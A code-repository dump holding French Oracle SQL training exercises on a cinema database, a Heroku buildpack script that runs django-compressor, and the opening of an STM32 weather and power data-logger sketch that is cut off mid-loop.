] | 2 | Text | siaahmadi/utils | e48ae037310c2064749e8a1bb7be9260fa808ec1 | 4ece62e878a45c9a72d3102516d68ac6d02bf6e6 |
refs/heads/master | <file_sep>-- ============================================================
-- Nom de la base : CINEMA
-- Nom de SGBD : ORACLE Version 7.0
-- Date de creation : 30/10/96 12:09
-- ============================================================
drop table ROLE cascade constraints;
drop table FILM cascade constraints;
drop table REALISATEUR cascade constraints;
drop table ACTEUR cascade constraints;
-- ============================================================
-- Table : ACTEUR
-- ============================================================
create table ACTEUR
(
NUMERO_ACTEUR NUMBER(3) not null,
NOM_ACTEUR CHAR(20) not null,
PRENOM_ACTEUR CHAR(20) ,
NATION_ACTEUR CHAR(20) ,
DATE_DE_NAISSANCE DATE ,
constraint pk_acteur primary key (NUMERO_ACTEUR)
);
-- ============================================================
-- Table : REALISATEUR
-- ============================================================
create table REALISATEUR
(
NUMERO_REALISATEUR NUMBER(3) not null,
NOM_REALISATEUR CHAR(20) not null,
PRENOM_REALISATEUR CHAR(20) ,
NATION_REALISATEUR CHAR(20) ,
constraint pk_realisateur primary key (NUMERO_REALISATEUR)
);
-- ============================================================
-- Table : FILM
-- ============================================================
create table FILM
(
NUMERO_FILM NUMBER(3) not null,
TITRE_FILM CHAR(30) not null,
DATE_DE_SORTIE DATE ,
DUREE NUMBER(3) not null,
GENRE CHAR(20) not null,
NUMERO_REALISATEUR NUMBER(3) not null,
constraint pk_film primary key (NUMERO_FILM)
);
-- ============================================================
-- Table : ROLE
-- ============================================================
create table ROLE
(
NUMERO_ACTEUR NUMBER(3) not null,
NUMERO_FILM NUMBER(3) not null,
NOM_DU_ROLE CHAR(30) ,
constraint pk_role primary key (NUMERO_ACTEUR, NUMERO_FILM)
);
alter table FILM
add constraint fk1_film foreign key (NUMERO_REALISATEUR)
references REALISATEUR (NUMERO_REALISATEUR);
alter table ROLE
add constraint fk1_role foreign key (NUMERO_ACTEUR)
references ACTEUR (NUMERO_ACTEUR);
alter table ROLE
add constraint fk2_role foreign key (NUMERO_FILM)
references FILM (NUMERO_FILM);
<file_sep># What you may want to know
## Description
These are some training queries using oracle vesion 7.0, it could be helpful for some students, it's extracted from a transcription of the subject written by <NAME> available [here](http://slombardy.vvv.enseirb-matmeca.fr/ens/sgbd/tdsql.pdf).
## files descriptions
* ### base.sql
this file contains the declaration of the database and the tables.
* ### donnee.sql
this file contains insertions to the database to prepare the tables.
* ### requestes.sql
this file contains the questions and the answers
[To do] >> transalte queries to english.
## Author
[<NAME>](https://github.com/touatiosema): solutions of queries.
## Note:
If you want to add something, you're welcomed.<file_sep>-- =======================================================================
-- version SQL: ORACLE Version 7.0
-- source: http://slombardy.vvv.enseirb-matmeca.fr/ens/sgbd/tdsql.php#sec1
-- context: TP SGBD, 2eme annee informatique, ENSEIRB MATMECA
-- date: 10/2019
-- =======================================================================
-- fichiers requits:
-- ./base.sql
-- ./donnee.sql
-- ./oracle.sql
-- =======================================================================
-- shema relationel:
-- ACTEUR (NUMERO_ACTEUR, NOM_ACTEUR, PRENOM_ACTEUR, NATION_ACTEUR, DATE_DE_NAISSANCE)
-- ROLE (NUMERO_ACTEUR, NUMERO_FILM, NOM_DU_ROLE)
-- FILM (NUMERO_FILM, TITRE_FILM, DATE_DE_SORTIE, DUREE, GENRE, NUMERO_REALISATEUR)
-- REALISATEUR (NUMERO_REALISATEUR, NOM_REALISATEUR, PRENOM_REALISATEUR, NATION_REALISATEUR)
-- =======================================================================
-- ++++++++++++++++++++++++++++++++++++++++++++++++++++++
-- Requêtes de base (sélection, projection, tri, jointure)
-- ++++++++++++++++++++++++++++++++++++++++++++++++++++++
-- les nom des acteurs:
select NOM_ACTEUR from acteur;
-- Les noms des acteurs (sans répétitions).
select distinct NOM_ACTEUR from acteur;
-- Les acteurs français.
select * from acteur where acteur.NATION_ACTEUR='FRANCAISE';
--Les noms des acteurs nés entre le 1er janvier 1950 et le 31 décembre 1999.
select NOM_ACTEUR from acteur
where DATE_DE_NAISSANCE BETWEEN to_date('01/01/1950', 'DD/MM/YYYY') and to_date('31/12/1999', 'DD/MM/YYYY');
--Les noms des rôles de l'acteur numéro 7 triés par ordre alphabétique.
select nom_du_role from role where numero_acteur = 7 order by nom_du_role asc;
--Les noms et prénoms des réalisateurs qui ont travaillé avec l'acteur numéro 7.
select re.NOM_REALISATEUR, re.prenom_realisateur from role r inner join film f on r.numero_film = f.numero_film inner join realisateur re on re.numero_realisateur=f.numero_realisateur where r.numero_acteur=7;
-- Les noms et prénoms des réalisateurs qui ont travaillé avec l'acteur POIRET triés par ordre alphabétique sur le nom.
select re.NOM_REALISATEUR, re.prenom_realisateur from acteur a inner join role r on a.numero_acteur=r.numero_acteur inner join film f on r.numero_film = f.numero_film inner join realisateur re on re.numero_realisateur=f.numero_realisateur where a.nom_acteur='POIRET' order by re.NOM_REALISATEUR;
-- Les acteurs qui ont joués avec le réalisateur numéro 7.
select a.* from acteur a inner join role r on r.numero_acteur=a.numero_acteur inner join film f on f.numero_film=r.numero_film inner join realisateur re on re.numero_realisateur=f.numero_realisateur where re.numero_realisateur=7;
-- Les numéros et noms des acteurs ayant une nationalité dont la valeur est renseignée (le champ a une valeur et non la pseudo-valeur d'indétermination).
select a.numero_acteur, a.nom_acteur from acteur a where a.NATION_ACTEUR is not null;
-- Les noms des réalisateurs qui ont réalisé un film (au moins un).
select distinct re.NOM_REALISATEUR from realisateur re inner join film f on f.numero_realisateur=re.numero_realisateur;
-- ++++++++++++++++++++++++++++++
-- Requêtes sur les regroupements
-- ++++++++++++++++++++++++++++++
-- Le nombre de réalisateurs.
select count(*) from realisateur;
-- Pour chaque acteur, le nombre de ses rôles
select a.nom_acteur, count(*) nb_roles from acteur a join role r on r.numero_acteur=a.numero_acteur group by a.nom_acteur;
-- Pour chaque acteur, la durée de son film le plus court, la durée de son film le plus long, l'écart maximal de durée entre ses films et la moyenne de durée de ses films.
select a.nom_acteur, min(f.DUREE) min_duree, max(f.DUREE) max_duree, max(f.DUREE)-min(f.DUREE), avg(f.duree) from acteur a join role r on r.numero_acteur=a.numero_acteur join film f on f.NUMERO_FILM=r.NUMERO_FILM group by a.nom_acteur;
-- Les réalisateurs ayant réalisé exactement deux films.
select re.NOM_REALISATEUR, count(*) as nb_realisation from realisateur re join film f on f.numero_realisateur=re.numero_realisateur group by re.NOM_REALISATEUR having count(*)=2;
-- Les réalisateurs ayant réalisé au moins trois films, en affichant le numéro et le nom des réalisateurs ainsi que le nombre de films ; le résultat est trié par ordre décroissant du nombre de films et par ordre croissant sur le nom.
select re.numero_realisateur, re.NOM_REALISATEUR name , count(*) as nb_film from realisateur re join film f on f.numero_realisateur=re.numero_realisateur group by re.numero_realisateur, re.NOM_REALISATEUR having count(*)>=3 order by nb_film desc, name asc;
-- Les numéros des acteurs dont la durée moyenne des films dans lesquels ils ont joué des rôles est égale à 2h.
select a.numero_acteur from acteur a join role r on r.numero_acteur=a.numero_acteur join film f on f.numero_film=r.numero_film group by a.numero_acteur having avg(f.duree)=120;
-- Les numéros des acteurs français dont la somme cumulée des durées de leurs rôles est inférieure à 10 heures (tous films confondus).
select a.numero_acteur from acteur a join role r on r.numero_acteur=a.numero_acteur join film f on f.numero_film=r.numero_film where a.NATION_ACTEUR='FRANCAISE' group by a.numero_acteur having sum(f.duree)<10*60;
-- ++++++++++++++++++++++++++++++++++++++++
-- Requêtes sur les opérations ensemblistes
-- ++++++++++++++++++++++++++++++++++++++++
-- Les noms des acteurs et les noms des réalisateurs (sans répétitions, sur une seule colonne).
select distinct a.nom_acteur nom from ACTEUR a union select distinct r.NOM_REALISATEUR nom from realisateur r;
-- Les noms communs aux acteurs et aux réalisateurs (sans répétitions).
select distinct a.nom_acteur NOM_ACTEUR from acteur a INTERSECT select DISTINCT r.NOM_REALISATEUR NOM_ACTEUR from realisateur r;
-- Les noms des acteurs qui ne sont pas des noms de réalisateur (sans répétitions).
select distinct a.nom_acteur nom from acteur a MINUS select DISTINCT r.nom_realisateur nom from realisateur r;
-- Les numéros et noms des acteurs français ou américains.
select a.numero_acteur, a.nom_acteur from acteur a where a.NATION_ACTEUR='FRANCAISE' union select a.numero_acteur, a.nom_acteur from acteur a where a.NATION_ACTEUR='AMERICAINE';
-- Les réalisateurs n'ayant réalisé aucun film.
select * from realisateur minus select NUMERO_REALISATEUR, nom_realisateur, prenom_realisateur, nation_realisateur from realisateur re join film m using (numero_realisateur);
-- ++++++++++++++++++++++
-- ## Requêtes imbriquées
-- ++++++++++++++++++++++
--Les noms communs aux acteurs et aux réalisateurs (trouver une solution différente de celle trouvée précédemment).
select nom_acteur nom from acteur a join (select nom_realisateur nom from realisateur re) on re.nom_acteur=a.nom;
-- Les numéros des réalisateurs ayant réalisé le film le plus long.
select numero_realisateur from realisateur join film f using (numero_realisateur) where f.duree=(select max(duree) from film);
-- Les numéros et noms des acteurs ayant la(les) nationalité(s) la(les) plus fréquente(s).
select numero_acteur, nom_acteur from acteur a where a.nation_acteur in( select b.nation_acteur from (select max(count(*)) c from acteur group by nation_acteur) a join (select nation_acteur, count(*) c from acteur group by nation_acteur) b on a.c=b.c);
-- Les noms des acteurs n'ayant pas joué avec le réalisateur numéro 7.
select nom_acteur from acteur a join role r using(numero_acteur) join film f using(numero_film) where f.numero_realisateur!=7;
select nom_acteur from acteur a join role r using(numero_acteur) where numero_film not in (select numero_film from film f join realisateur re using(numero_realisateur) where numero_realisateur=7);
-- Les réalisateurs n'ayant réalisé aucun film (trouver une solution différente).
select * from realisateur re where numero_realisateur not in (select numero_realisateur from film);
-- ++++++++++++++++++++++
-- ## Requêtes avancées:
-- ++++++++++++++++++++++
-- Que fait les requêtes suivantes ?
-- #####################################################
-- select distinct NOM_ACTEUR
-- from REALISATEUR, ACTEUR
-- where NOM_ACTEUR = NOM_REALISATEUR;
-- trouver les acteurs qui partage le meme nom avec un des realisateur.
-- #####################################################
-- select A.NOM_ACTEUR
-- from ACTEUR A, ACTEUR COPIE
-- where A.NOM_ACTEUR = COPIE.NOM_ACTEUR
-- group by A.NOM_ACTEUR
-- having count(*) = 1;
-- touver les acteur dont le nom ne se repete pas (ils ont un nom unique sur la bd)
-- ++++++++++++++++++++++++
-- Requêtes de mise à jour:
-- ++++++++++++++++++++++++
-- Insérer un réalisateur.
insert into REALISATEUR (NUMERO_REALISATEUR, NOM_REALISATEUR, PRENOM_REALISATEUR, NATION_REALISATEUR) values (15, 'TOUATI', 'Osema', 'Algerien');
-- Supprimer tous les acteurs américains.
delete from ROLE where numero_acteur in (select numero_acteur from acteur a where nation_acteur='AMERICAINE');
delete from acteur where nation_acteur ='AMERICAINE';
-- Modifier la durée de tous les films en leur ajoutant une heure.
update film set duree=duree+60;<file_sep>-- ============================================================
-- suppression des donnees
-- ============================================================
delete from ROLE ;
delete from ACTEUR ;
delete from FILM ;
delete from REALISATEUR ;
commit ;
-- ============================================================
-- creation des donnees
-- ============================================================
-- REALISATEUR
insert into REALISATEUR values ( 1 , 'SAUTET' , 'CLAUDE' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 2 , 'PINOTEAU' , 'CLAUDE' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 3 , 'DAVOY' , 'ERIC' , 'BELGE' ) ;
insert into REALISATEUR values ( 4 , 'ZIDI' , 'CLAUDE' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 5 , 'AUTAN-LARA' , 'CLAUDE' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 6 , 'ROHMER' , 'ERIC' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 7 , 'MALLE' , 'LOUIS' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 8 , 'BESSON' , 'LUC' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 9 , 'PREMINGER' , 'OTTO' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 10 , 'BEINEIX' , 'JEAN-JACQUES' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 11 , 'GERONIMI' , 'C.' , 'AMERICAINE' ) ;
insert into REALISATEUR values ( 12 , 'LYNE' , 'ADRIAN' , 'AMERICAINE' ) ;
insert into REALISATEUR values ( 13 , 'TRUFFAUT' , 'FRANCOIS' , 'FRANCAISE' ) ;
insert into REALISATEUR values ( 14 , 'COCTEAU' , 'JEAN' , 'FRANCAISE' ) ;
commit ;
-- FILM
insert into FILM values ( 1 , 'GARCON' , '01-JAN-83' , 110 , 'COMEDIE' , 1 ) ;
insert into FILM values ( 2 , '<NAME>' , '02-APR-71' , 90 , 'COMEDIE' , 1 ) ;
insert into FILM values ( 3 , 'LA FAC' , '24-FEB-89' , 420 , 'SATYRIQUE' , 3 ) ;
insert into FILM values ( 4 , 'LA PISCINE' , '13-MAY-67' , 120 , 'COMEDIE DRAMATIQUE' , 2 ) ;
insert into FILM values ( 5 , 'LA 7EME CIBLE' , '01-JAN-84' , 115 , 'SUSPENSE' , 2 ) ;
insert into FILM values ( 6 , 'ASSOCIATION DE MALFAITEURS' , '01-JAN-87' , 115 , 'COMEDIE' , 4 ) ;
insert into FILM values ( 7 , '<NAME>' , '01-JAN-59' , 95 , 'COMEDIE' , 5 ) ;
insert into FILM values ( 8 , 'AU REVOIR LES ENFANTS' , '01-JAN-87' , 115 , 'DRAME' , 7 ) ;
insert into FILM values ( 9 , '<NAME>' , '01-JAN-76' , 110 , 'COMEDIE' , 2 ) ;
insert into FILM values ( 10 , 'LA FEMME DE L''AVIATEUR' , '01-JAN-79' , 100 , 'COMEDIE DRAMATIQUE' , 6 ) ;
insert into FILM values ( 11 , 'L''ANIMAL' , '01-JAN-77' , 100 , 'COMEDIE' , 4 ) ;
insert into FILM values ( 12 , '9 SEMAINE 1/2' , '01-JAN-86' , 125 , '<NAME>' , 12 ) ;
insert into FILM values ( 13 , 'LA SIRENE DU MISSIPI' , '01-JAN-69' , 120 , 'COMEDIE POLICIERE' , 13 ) ;
insert into FILM values ( 14 , 'LA TRAVERSEE DE PARIS' , '01-JAN-56' , 95 , 'COMEDIE DRAMATIQUE' , 5 ) ;
insert into FILM values ( 15 , '<NAME>' , '01-JAN-82' , 95 , 'COMEDIE DE MOEURS' , 6 ) ;
insert into FILM values ( 16 , '<NAME>' , '01-JAN-87' , 175 , 'COMEDIE DRAMATIQUE' , 8 ) ;
insert into FILM values ( 17 , '<NAME>' , '01-JAN-51' , 85 , 'DE<NAME>' , 11 ) ;
insert into FILM values ( 18 , 'EXODUS' , '01-JAN-60' , 190 , 'DRAME' , 9 ) ;
insert into FILM values ( 19 , '37 2 LE MATIN' , '01-JAN-91' , 178 , 'DRAME' , 10 ) ;
insert into FILM values ( 20 , '<NAME>' , '01-JAN-86' , 95 , 'COMEDIE DRAMATIQUE' , 6 ) ;
commit ;
-- ACTEUR
commit ;
insert into ACTEUR values ( 1 , 'MONTAND' , 'YVES' , 'FRANCAISE' , '13-OCT-21' ) ;
insert into ACTEUR values ( 2 , 'GARCIA' , 'NICOLE' , 'FRANCAISE' , '21-FEB-57' ) ;
insert into ACTEUR values ( 3 , 'VILLERET' , 'JACQUES' , 'FRANCAISE' , '06-FEB-51' ) ;
insert into ACTEUR values ( 4 , 'DUBOIS' , 'MARIE' , 'FRANCAISE' , '12-FEB-37' ) ;
insert into ACTEUR values ( 5 , 'SCHNEIDER' , 'ROMY' , 'AUTRICHIENNE' , '01-APR-42' ) ;
insert into ACTEUR values ( 6 , 'FREY' , 'SAMY' , 'FRANCAISE' , '24-MAY-40' ) ;
insert into ACTEUR values ( 7 , 'RICARDO' , 'BRUNOZZI' , 'ITALIENNE' , '08-APR-58' ) ;
insert into ACTEUR values ( 8 , 'DUPRILLOT' , 'JOHEL' , 'TCHEQUE' , '24-APR-68' ) ;
insert into ACTEUR values ( 9 , 'LESTRADOS' , 'DOMINIQUOS' , 'MEXICAINE' , '19-FEB-69' ) ;
insert into ACTEUR values ( 10 , 'DELON' , 'ALAIN' , 'FRANCAISE' , '04-OCT-33' ) ;
insert into ACTEUR values ( 11 , 'VENTURA' , 'LINO' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 12 , 'MASSARI' , 'LEA' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 13 , 'POIRET' , 'JEAN' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 14 , 'CLUZET' , 'FRANCOIS' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 15 , 'MALAVOY' , 'CHRISTOPHE' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 16 , 'BOURVIL' , 'BOURVIL' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 17 , 'ROBERT' , 'YVES' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 18 , 'MANESSE' , 'GASPARD' , 'ALLEMANDE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 19 , 'BELLI' , 'AGOSTINA' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 20 , 'BRASSEUR' , 'CLAUDE' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 21 , 'MARLAUD' , 'PHILIPPE' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 22 , 'BELMONDO' , 'JEAN-PAUL' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 23 , 'ROURKE' , 'MICKEY' , 'AMERICAINE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 24 , 'BASINGER' , 'KIM' , 'AMERICAINE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 25 , 'DENEUVE' , 'CATHERINE' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 26 , 'GABIN' , 'JEAN' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 27 , '<NAME>' , 'LOUIS' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 28 , 'LANGLET' , 'AMANDA' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 29 , 'BARR' , 'JEAN-MARC' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 30 , 'ARQUETTE' , 'ROSANNA' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 31 , 'RENO' , 'JEAN' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 32 , 'NEWMAN' , 'PAUL' , 'AMERICAINE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 33 , 'DALLE' , 'BEATRICE' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 34 , 'ANGLADE' , 'JEAN-HUGUES' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 35 , 'RIVIERE' , 'MARIE' , 'FRANCAISE' , '01-JAN-01' ) ;
insert into ACTEUR values ( 36 , 'MALLE' , 'ALAIN' , null , '01-JAN-01' ) ;
insert into ACTEUR values ( 37 , 'DALLE' , 'HIND' , null , '01-JAN-01' ) ;
commit ;
-- ROLE
insert into ROLE values ( 1 , 1 , 'ALEX' ) ;
insert into ROLE values ( 2 , 1 , 'CLAIRE' ) ;
insert into ROLE values ( 3 , 1 , 'GILBERT' ) ;
insert into ROLE values ( 4 , 1 , '<NAME>' ) ;
insert into ROLE values ( 1 , 2 , 'CESAR' ) ;
insert into ROLE values ( 5 , 2 , 'ROSALIE' ) ;
insert into ROLE values ( 6 , 2 , 'DAVID' ) ;
insert into ROLE values ( 5 , 4 , 'MARIE' ) ;
insert into ROLE values ( 10 , 4 , 'MAURICE' ) ;
insert into ROLE values ( 7 , 4 , 'LARNAQUE' ) ;
insert into ROLE values ( 7 , 3 , 'NANARD' ) ;
insert into ROLE values ( 8 , 3 , 'BAUDERON' ) ;
insert into ROLE values ( 9 , 3 , 'COUKY' ) ;
insert into ROLE values ( 11 , 5 , 'BASTIEN' ) ;
insert into ROLE values ( 12 , 5 , 'NELLY' ) ;
insert into ROLE values ( 13 , 5 , 'JEAN' ) ;
insert into ROLE values ( 14 , 6 , 'THIERRY' ) ;
insert into ROLE values ( 15 , 6 , 'GERARD' ) ;
insert into ROLE values ( 16 , 7 , '<NAME>' ) ;
insert into ROLE values ( 18 , 8 , 'JUIEN' ) ;
insert into ROLE values ( 1 , 9 , 'MORLAND' ) ;
insert into ROLE values ( 19 , 9 , 'AMANDINE' ) ;
insert into ROLE values ( 20 , 9 , 'ARI' ) ;
insert into ROLE values ( 21 , 10 , 'FRANCOIS' ) ;
insert into ROLE values ( 22 , 11 , '<NAME>/<NAME>' ) ;
insert into ROLE values ( 23 , 12 , 'JOHN' ) ;
insert into ROLE values ( 24 , 12 , 'ELISABETH' ) ;
insert into ROLE values ( 22 , 13 , '<NAME>' ) ;
insert into ROLE values ( 25 , 13 , '<NAME>' ) ;
insert into ROLE values ( 26 , 14 , 'GRAND-GIL' ) ;
insert into ROLE values ( 16 , 14 , 'MARTIN' ) ;
insert into ROLE values ( 27 , 14 , 'JAMBIER' ) ;
insert into ROLE values ( 28 , 15 , 'PAULINE' ) ;
insert into ROLE values ( 29 , 16 , '' ) ;
insert into ROLE values ( 30 , 16 , '' ) ;
insert into ROLE values ( 31 , 16 , '' ) ;
insert into ROLE values ( 32 , 18 , '<NAME>' ) ;
insert into ROLE values ( 33 , 19 , 'BETTY' ) ;
insert into ROLE values ( 34 , 19 , 'ZORG' ) ;
insert into ROLE values ( 35 , 20 , 'DELPHINE' ) ;
commit ;
-- ============================================================
-- verification des donnees
-- ============================================================
select count(*),'= 37 ?','ACTEUR' from ACTEUR
union
select count(*),'= 20 ?','FILM' from FILM
union
select count(*),'= 14 ?','REALISATEUR' from REALISATEUR
union
select count(*),'= 40 ?','ROLE' from ROLE ;
| 9a528528f92cd173416584adfadf92ffdda52d90 | [
"Markdown",
"SQL"
] | 4 | SQL | touatiosema/DBMS-oracle-training-queries | 096eb54599ae97b902bf83a8c713a489afd9b396 | 4454ff0fb6d31c725b956e4b60401914eeef282d |
refs/heads/master | <repo_name>ChristopherGondek/django-compressor-heroku-buildpack<file_sep>/bin/compile
#!/bin/bash
cd "$1" || exit 1
env_dir=$1
acceptlist_regex=${2:-''}
denylist_regex=${3:-'^(PATH|GIT_DIR|CPATH|CPPATH|LD_PRELOAD|LIBRARY_PATH)$'}
if [ -d "$env_dir" ]; then
for e in $(ls $env_dir); do
echo "$e" | grep -E "$acceptlist_regex" | grep -qvE "$denylist_regex" &&
export "$e=$(cat $env_dir/$e)"
:
done
fi
echo "-----> Running django-compressor"
python manage.py compress --force
| 4c6906f217ee317ab3425ae7cbe559da59bad4dc | [
"Shell"
] | 1 | Shell | ChristopherGondek/django-compressor-heroku-buildpack | 506ae40e4daac8f27ba208472dd86c10d8db12b4 | 0b0d28b3139bf78d38ffdef1664fd37131ace5cf |
refs/heads/main | <file_sep>#include <Arduino.h>
#include <Wire.h>
#include <LiquidCrystal_I2C.h>
#include <SPI.h>
#include <RtcDS3231.h>
#include <SD.h>
#include <Adafruit_BMP280.h>
#include <ADS1X15.h>
#define ACS712_30 0.065
#define BUZZERPIN PA5
#define COMMA String(",")
#define DIRECTION_DIVIDER 45
#define MAP(x, in_min, in_max, out_max, out_min) (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min
typedef union{
float f32;
uint8_t c8[4];
} Floating;
uint8_t send[8];
Floating T_send, P_send, I_send, V_send, W_send;
HardwareSerial Serial2(PA3, PA2);
LiquidCrystal_I2C lcd(0x27, 20, 4);
//SPIClass SPIESP32(PB15, PB14, PB13, PB12);
RtcDateTime dt;
RtcDS3231<TwoWire> Rtc(Wire);
char dateTimeString[32];
char dateString[16];
char timeString[16];
char rxChar;
String rxString;
bool captureData = false;
bool dc = false;
uint32_t previousMillis = 0;
uint32_t sdCardPrevMillis = 0;
Adafruit_BMP280 bmp;
float temperature;
float temperatureTotal = 0.0;
float pressure;
float pressureTotal = 0.0;
float voltage;
float voltRawTotal = 0.0;
float voltTotal = 0.0;
float voltZeroPoint;
File logFile;
ADS1115 ads(0x48);
const float ADSMultiplier = 0.1875F;
uint32_t currentRawTotal = 0;
float currentZeroPoint = 0;
float current;
uint16_t currentRaw = 0;
float currentTotal;
uint32_t count = 0;
uint8_t dataCount = 0;
uint32_t inputRising = 0;
float anemoFrequency = 0.0;
volatile unsigned long sTime = 0;
unsigned long dataTimer = 0;
volatile float cPulseTime = 0, pulseTime = 0;
volatile unsigned int avgWindCount = 0;
volatile bool start = true;
float maxWindSpeed = 60.0;
float wSpeed;
float wDir;
float wDirTotal;
float wDirMax = 0.0;
float wDirMin = 360.0;
String ToSDCard;
String Wind_Direction;
String Last_Wind_Direction;
String windSend;
float Degree;
float Arah;
char *Hasil_Pembacaan;
int Threshold_Direction;
int Temp[20],counter;
float LastDegree;
void sendToESP();
float getAnemoFreq(float pulseTime);
float getWindMPH(float freq);
float getWindKPH(float MPHspeed);
float getWindMs(float cMPHspeed);
float getAvgWindSpeed(float pulse, int periode);
void windVelocity();
void anemoISR();
void addToString(String *strDest, String str);
void sendToSDCard();
void windDirection();
void setup() {
// put your setup code here, to run once:
Serial2.begin(115200);
Wire.setSDA(PB7);
Wire.setSCL(PB6);
SPI.setMISO(PB4);
SPI.setMOSI(PB5);
SPI.setSCLK(PB3);
SPI.setSSEL(PA15);
analogReadResolution(12);
lcd.init();
lcd.clear();
lcd.backlight();
lcd.setCursor(5,0);
lcd.print("YAKINJAYA");
lcd.setCursor(4,1);
lcd.print("Data Logger");
delay(2000);
Rtc.Begin();
RtcDateTime compiled = RtcDateTime(__DATE__, __TIME__);
if(!Rtc.GetIsRunning()) Rtc.SetIsRunning(true);
RtcDateTime now = Rtc.GetDateTime();
if(now < compiled) Rtc.SetDateTime(compiled);
if(!SD.begin(PA15)){
lcd.clear();
lcd.setCursor(0, 0);
lcd.print("SDCard gagal!");
while(1);
}
logFile = SD.open("log.csv", FILE_WRITE);
if(logFile){
logFile.println();
logFile.close();
}
if(!bmp.begin(0x76)){
lcd.clear();
lcd.setCursor(0, 0);
lcd.print("BMP280 gagal!");
while(1);
}
if(!ads.begin()){
lcd.clear();
lcd.setCursor(0, 0);
lcd.print("ADS1115 gagal!");
while(1);
}
ads.setGain(0);
ads.setMode(0);
for(int i = 0; i < 20; i++){
currentRawTotal += ads.toVoltage(ads.readADC(0));
}
currentZeroPoint = currentRawTotal / 20.0;
for(int i = 0; i < 50; i++){
voltTotal += ads.toVoltage(ads.readADC(1));
}
voltZeroPoint = voltTotal / 50.0;
voltTotal = 0;
pinMode(PA5, INPUT_PULLUP);
attachInterrupt(digitalPinToInterrupt(PA5), anemoISR, RISING);
inputRising = millis();
lcd.clear();
lcd.setCursor(0, 0);
lcd.print("Kalibrasi WD");
lcd.setCursor(0, 1);
lcd.print("Putar WD 360dg");
for(int i = 0; i < 500; i++){
wDir = ads.toVoltage(ads.readADC(2)) * (360.0 / 4.34);
if(wDir > wDirMax) wDirMax = wDir;
if(wDir < wDirMin) wDirMin = wDir;
delay(10);
}
lcd.setCursor(0, 2);
lcd.print("Selesai!");
delay(2000);
//lcd.clear();
previousMillis = millis();
sdCardPrevMillis = previousMillis;
}
void loop() {
// put your main code here, to run repeatedly:
dt = Rtc.GetDateTime();
temperatureTotal += bmp.readTemperature();
pressureTotal += (bmp.readPressure());
currentTotal += ads.toVoltage(ads.readADC(0));
voltTotal += (ads.toVoltage(ads.readADC(1)) - voltZeroPoint);
wDirTotal = wDirTotal + (ads.toVoltage(ads.readADC(2)));
count += 1;
//voltReal = voltRawTotal / count;
//voltRealTotal += 3.30 * ((float)voltRaw / 4096.0) * ((560.0 + 6900.0) / 560.0);
windVelocity();
if(dataCount >= 5) {
dataCount = 0;
}
if(millis() - previousMillis >= 2000){
previousMillis = millis();
lcd.clear();
current = ((currentTotal / count) - currentZeroPoint) * ACS712_30;
currentTotal = 0;
temperature = temperatureTotal / count;
temperatureTotal = 0;
pressure = (pressureTotal / count) / 100.0;
pressureTotal = 0;
voltage = (voltTotal / count) * (500.0 / 5.0);
voltTotal = 0;
//wDir = (wDirTotal / count) * (360.0 / 4.34);
wDir = ads.toVoltage(ads.readADC(2)) * (360.0 / 4.34);
wDir = MAP(wDir, wDirMin, wDirMax, 0.0, 359.99);
wDirTotal = 0;
windDirection();
sprintf(dateString, "%04u-%02u-%02u", dt.Year(), dt.Month(), dt.Day());
sprintf(timeString, "%02u:%02u:%02u", dt.Hour(), dt.Minute(), dt.Second());
sprintf(dateTimeString, "%s %s", dateString, timeString);
lcd.setCursor(0, 0);
lcd.print(String(dateString) + " " + String(timeString));
lcd.setCursor(0, 1);
lcd.print(String("I: ") + String(current) + String(" V: ") + String(voltage));
lcd.setCursor(0, 2);
lcd.print(String("P: ") + String(pressure) + String(" T: ") + String(temperature));
lcd.setCursor(0, 3);
lcd.print(String("WS: ") + String(wSpeed) + String(" ") + String(Wind_Direction));
sendToESP();
ToSDCard += String(dateString + COMMA + timeString + COMMA + String(voltage) + COMMA + String(current) + COMMA + String(temperature) + COMMA + String(pressure) + COMMA + String(wSpeed) + COMMA + String(wDir) + String(dc ? "Disconnect" : "Connect") + String("\n"));
count = 0;
dataCount++;
}
//currentRawTotal += analogRead(PB1);
//count++;
if(millis() - sdCardPrevMillis >= 10000){
sdCardPrevMillis = millis();
//sendToESP();
if(dc){
logFile = SD.open("dc.csv", FILE_WRITE);
if(logFile){
logFile.print(ToSDCard);
logFile.close();
}
}
logFile = SD.open("log.csv", FILE_WRITE);
if(logFile){
//Format data
